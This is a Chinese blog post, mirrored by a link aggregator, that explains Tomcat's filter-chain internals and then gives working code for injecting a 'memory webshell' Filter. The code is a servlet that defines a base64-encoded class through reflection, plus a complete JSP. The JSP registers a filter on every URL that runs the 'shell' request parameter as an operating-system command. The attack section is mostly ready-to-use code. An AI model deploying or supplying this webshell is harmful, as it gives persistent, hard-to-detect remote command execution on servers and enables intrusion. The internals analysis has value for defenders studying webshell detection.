6

tomcat Filter内存马 - 功夫小熊猫

 10 months ago
source link: https://www.cnblogs.com/vpandaxjl/p/17527298.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

tomcat Filter内存马

idea调试的时候加入源代码

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.81</version>
    <scope>provided</scope>
</dependency>

Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。

ServletContext

它会为每个web程序都创建一个对应的ServletContext对象,它代表当前的web应用。 事实上SpringMVC封装的ApplicationContext 以及Struts2封装的ApplicationContext里面都是保存着原本的ServletContext。

  • Web应用范围内存取共享数据;
  • 访问web应用的静态资源;
  • Servlet对象之间通过ServletContext对象来实现通讯。

ServletContext跟StandardContext的关系

  1. StandardContext

    • StandardContext是Tomcat服务器中的一个组件,用于管理Web应用程序的上下文(Context)。
    • 它是javax.servlet.ServletContext接口的实现类,提供了一些额外的功能和管理能力。
    • StandardContext负责加载和初始化Web应用程序的配置信息,包括Servlet、Filter、Listener等组件的注册和管理。
    • 它还提供了对Web应用程序的生命周期管理,例如启动、停止和重新加载等操作。
  2. ServletContext

    • ServletContext是Java Servlet规范中的一个接口,表示Web应用程序的上下文。
    • 每个Web应用程序都有一个唯一的ServletContext实例,用于在应用程序内共享信息和资源。
    • ServletContext提供了一些方法,用于获取Web应用程序的初始化参数、访问应用程序范围的属性、读取Web应用程序的配置信息等。
    • 它还提供了一些与Web容器交互的方法,例如获取请求调度器、获取资源的真实路径等。

总结:
StandardContext是Tomcat服务器中用于管理Web应用程序的上下文的实现类,而ServletContext是Java Servlet规范中定义的用于表示Web应用程序上下文的接口。它们的主要区别在于StandardContext提供了更多的管理和生命周期控制功能,而ServletContext则提供了访问应用程序范围的属性和配置信息的方法。

Tomcat 中有 4 类容器组件,从上至下依次是:

  • Engine,实现类为 org.apache.catalina.core.StandardEngine
  • Host,实现类为 org.apache.catalina.core.StandardHost
  • Context,实现类为 org.apache.catalina.core.StandardContext
  • Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

Filter 内存马

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。

通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

  1. 使用 ServletContext 的 addFilter/createFilter 方法注册;
  2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
  3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。

追溯Filter的doFilter:

  1. FilterDemo重写了doFilter,如何执行到FilterDemo的doFilter?

  2. ApplicationFilterChain的doFilter被执行,执行了internalDoFilter;

  3. filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler对象,取出每个元组,赋值给filterConfig;

    Filter filter = filterConfig.getFilter();

  4. 然后执行了filter.doFilter(request, response, this);

  5. filters[]是在哪里赋值的呢?

  6. 在StandardWrapperValve的invoke中

    ApplicationFilterChain filterChain =
    ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然后执行了filterChain.doFilter。

    看看createFilterChain里面做了什么?

  7. 在ApplicationFilterFactory的createFilterChain中

    ApplicationFilterChain filterChain = null;

    StandardContext context = (StandardContext) wrapper.getParent();

    FilterMap filterMaps[] = context.findFilterMaps();从StandardContext配置文件中获取filter,放入filterMaps

    这里是根据前面获取的filterMaps循环来获取的

    for (FilterMap filterMap : filterMaps) 
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                        context.findFilterConfig(filterMap.getFilterName());
    filterChain.addFilter(filterConfig);
    
  8. filterChain.addFilter(filterConfig),最后return filterChain。

  9. 在ApplicationFilterChain的addFilter中做了什么?filters[n++] = filterConfig;所以最终filters[]里面会有所有filter的filterConfig;

FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern
1639143-20230704224726990-907595763.png

fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了

动态注册Filter

经过上面的分析,我们可以总结出动态注册Filter的流程:

  1. 获取上下文对象StandardContext
  2. 创建恶意Filter
  3. 构造FilterDef封装filter
  4. 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
  5. 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
package com.example.webshellfilter;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;

import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

@WebServlet(name = "filterServlet", value = "/filterServlet")
public class FilterServletDemo extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            //1、通过request获取ServletContext类
            //通过request获取servletContext
            ServletContext servletContext = request.getServletContext();
            //其实这里是ApplicationContextFacade的类
            System.out.println(servletContext.getClass());
            Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
            applicationContextFacadefield.setAccessible(true);
            //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
            ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
            //通过applicationContext对象获取StandardContext
            Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
            standardContextfield.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);


            //将Filter对象通过反射实现加载
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            //2、在Java中,可以使用defineClass方法将一个类动态地注入到当前的JVM中,这里将filter类注入进去
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            BASE64Decoder base64Decoder = new BASE64Decoder();
            byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");
            defineClass.invoke(classLoader,code, 0, code.length);

            //3、添加filterDef
            System.out.println(Class.forName("FilterDemo").getName());
            Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filterDemo);
            filterDef.setFilterName("FilterDemo");
            standardContext.addFilterDef(filterDef);

            //4、添加filterMap
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("FilterDemo");
            filterMap.addURLPattern("/*");
            standardContext.addFilterMap(filterMap);

            //添加到standardContext的filterConfigs中
            //反射获取filterConfigs
            //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
            Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
            declaredConstructor.setAccessible(true);
            hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));

            PrintWriter out = response.getWriter();
            out.println("over");

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

jsp实现

<%@ page language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
    <title>Get Request Object in JSP</title>
</head>
<body>
<h1>Get Request Object in JSP</h1>
<%
    class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("初始加完成");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            servletRequest.setCharacterEncoding("utf-8");
            servletResponse.setCharacterEncoding("utf-8");
            servletResponse.setContentType("text/html;charset=UTF-8");
            System.out.println(servletRequest.getParameter("shell"));
            Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
            System.out.println("过滤中。。。");
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {
            System.out.println("过滤结束");
        }
    }

    //1、通过request获取ServletContext类
    //通过request获取servletContext
    ServletContext servletContext = request.getServletContext();
    //其实这里是ApplicationContextFacade的类
    System.out.println(servletContext.getClass());
    Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
    applicationContextFacadefield.setAccessible(true);
    //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
    //通过applicationContext对象获取StandardContext
    Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
    standardContextfield.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);

    //3、添加filterDef
    FilterDemo filterDemo = new FilterDemo();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filterDemo);
    filterDef.setFilterName("FilterDemo");
    filterDef.setFilterClass(filterDemo.getClass().getName());
    standardContext.addFilterDef(filterDef);

    //4、添加filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("FilterDemo");
    filterMap.addURLPattern("/*");
    standardContext.addFilterMap(filterMap);

    //添加到standardContext的filterConfigs中
    //反射获取filterConfigs
    //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
    declaredConstructor.setAccessible(true);
    hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));

    System.out.println("over");

%>
</body>
</html>


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK